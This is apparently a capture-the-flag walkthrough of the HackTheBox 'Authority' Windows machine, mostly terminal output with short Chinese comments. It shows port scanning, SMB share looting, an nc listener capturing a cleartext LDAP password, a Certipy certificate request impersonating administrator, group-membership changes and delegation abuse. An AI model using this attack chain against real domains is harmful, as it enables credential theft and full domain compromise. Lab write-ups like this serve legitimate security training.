⚡ root@kali ~/hackthebox/machine/authority nmap -v -sV -p- --min-rate=10000 10.10.11.222 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-11 09:59:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 8443/tcp open ssl/https-alt 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49688/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49689/tcp open msrpc Microsoft Windows RPC 49691/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC 49700/tcp open msrpc Microsoft Windows RPC 49709/tcp open msrpc Microsoft Windows RPC 49716/tcp open msrpc Microsoft Windows RPC 49735/tcp open msrpc Microsoft Windows RPC
⚡ root@kali ~/hackthebox/machine/authority smbclient -N //10.10.11.222/Development Can't load /etc/samba/smb.conf - run testparm to debug it Try "help" to get a list of possible commands. smb: \> ls Automation\Ansible\ . D 0 Fri Mar 17 09:20:50 2023 .. D 0 Fri Mar 17 09:20:50 2023 ADCS D 0 Fri Mar 17 09:20:48 2023 LDAP D 0 Fri Mar 17 09:20:48 2023 PWM D 0 Fri Mar 17 09:20:48 2023 SHARE D 0 Fri Mar 17 09:20:48 2023 5888511 blocks of size 4096. 1518451 blocks available
每个都有一个Ansible设置。例如，ADCS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
smb: \> ls Automation\Ansible\ADCS\ . D 0 Fri Mar 17 09:20:48 2023 .. D 0 Fri Mar 17 09:20:48 2023 .ansible-lint A 259 Thu Sep 22 01:34:12 2022 .yamllint A 205 Tue Sep 6 12:07:26 2022 defaults D 0 Fri Mar 17 09:20:48 2023 LICENSE A 11364 Tue Sep 6 12:07:26 2022 meta D 0 Fri Mar 17 09:20:48 2023 molecule D 0 Fri Mar 17 09:20:48 2023 README.md A 7279 Tue Sep 6 12:07:26 2022 requirements.txt A 466 Tue Sep 6 12:07:26 2022 requirements.yml A 264 Tue Sep 6 12:07:26 2022 SECURITY.md A 924 Tue Sep 6 12:07:26 2022 tasks D 0 Fri Mar 17 09:20:48 2023 templates D 0 Fri Mar 17 09:20:48 2023 tox.ini A 419 Tue Sep 6 12:07:26 2022 vars D 0 Fri Mar 17 09:20:48 2023
5888511 blocks of size 4096. 1518420 blocks available
Active Directory证书服务(ADCS)是一个很有价值的目标，但没有creds做不了什么。注意到这一点，作为再次检查的提示。
smb: \Automation\Ansible\PWM\> ls . D 0 Fri Mar 17 09:20:48 2023 .. D 0 Fri Mar 17 09:20:48 2023 ansible.cfg A 491 Thu Sep 22 01:36:58 2022 ansible_inventory A 174 Wed Sep 21 18:19:32 2022 defaults D 0 Fri Mar 17 09:20:48 2023 handlers D 0 Fri Mar 17 09:20:48 2023 meta D 0 Fri Mar 17 09:20:48 2023 README.md A 1290 Thu Sep 22 01:35:58 2022 tasks D 0 Fri Mar 17 09:20:48 2023 templates D 0 Fri Mar 17 09:20:48 2023
5888511 blocks of size 4096. 1145489 blocks available
把这些文件下载下来
1 2 3 4 5 6 7 8 9 10 11 12
smb: \Automation\Ansible\> prompt off smb: \Automation\Ansible\> recurse true smb: \Automation\Ansible\> mget PWM getting file \Automation\Ansible\PWM\ansible.cfg of size 491 as PWM/ansible.cfg (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec) getting file \Automation\Ansible\PWM\ansible_inventory of size 174 as PWM/ansible_inventory (0.1 KiloBytes/sec) (average 0.3 KiloBytes/sec) getting file \Automation\Ansible\PWM\README.md of size 1290 as PWM/README.md (1.0 KiloBytes/sec) (average 0.5 KiloBytes/sec) getting file \Automation\Ansible\PWM\defaults\main.yml of size 1591 as PWM/defaults/main.yml (1.6 KiloBytes/sec) (average 0.8 KiloBytes/sec) getting file \Automation\Ansible\PWM\handlers\main.yml of size 4 as PWM/handlers/main.yml (0.0 KiloBytes/sec) (average 0.7 KiloBytes/sec) getting file \Automation\Ansible\PWM\meta\main.yml of size 199 as PWM/meta/main.yml (0.2 KiloBytes/sec) (average 0.6 KiloBytes/sec) getting file \Automation\Ansible\PWM\tasks\main.yml of size 1832 as PWM/tasks/main.yml (1.8 KiloBytes/sec) (average 0.8 KiloBytes/sec) getting file \Automation\Ansible\PWM\templates\context.xml.j2 of size 422 as PWM/templates/context.xml.j2 (0.4 KiloBytes/sec) (average 0.7 KiloBytes/sec) getting file \Automation\Ansible\PWM\templates\tomcat-users.xml.j2 of size 388 as PWM/templates/tomcat-users.xml.j2 (0.5 KiloBytes/sec) (average 0.7 KiloBytes/sec)
luci@luci$ nc -lnvp 389 Listening on 0.0.0.0 389 Connection received on 10.10.11.222 61956 0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htblDaP_1n_th3_cle4r!
[+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 6 [*] Got certificate with multiple identifications UPN: 'administrator@authority.htb' DNS Host Name: 'authority.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_authority.pfx'
┌[root@kali] [/dev/pts/4] └[~/hackthebox/machine/authority]> certipy auth -pfx administrator_authority.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate [*] Please select one: [0] UPN: 'administrator@authority.htb' [1] DNS Host Name: 'authority.htb' > 0 [*] Using principal: administrator@authority.htb [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
根据Certificates and Pwnage and Patches, Oh My!的这篇文章，Authenticating with certificates when PKINIT is not supported, “当域控制器没有为智能卡安装证书时”就会发生这种情况。具体来说，发生这种情况是因为”DC没有为PKINIT正确设置，身份验证会失效”。
add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS. rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value. add_user new_user [parent] - Creates a new user. add_user_to_group user group - Adds a user to a group. change_password user [password] - Attempt to change a given user's password. Requires LDAPS. clear_rbcd target - Clear the resource based constrained delegation configuration information. disable_account user - Disable the user's account. enable_account user - Enable the user's account. dump - Dumps the domain. search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName. get_user_groups user - Retrieves all groups this user is a member of. get_group_users group - Retrieves all members of a group. get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName). grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName). set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false. set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel. write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. exit - Terminates this session.
将svc_ldap用户添加到administrators组
1 2
# add_user_to_group svc_ldap administrators Adding user: svc_ldap to group Administrators result: OK
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user svc_ldap User name svc_ldap Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 8/10/2022 8:29:31 PM Password expires Never Password changeable 8/11/2022 8:29:31 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 12/11/2023 6:31:59 AM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use Global Group memberships *Domain Users The command completed successfully.
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] EVIL01$ can now impersonate users on AUTHORITY$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] EVIL01$ (S-1-5-21-622327497-3269355298-2248959698-11601)
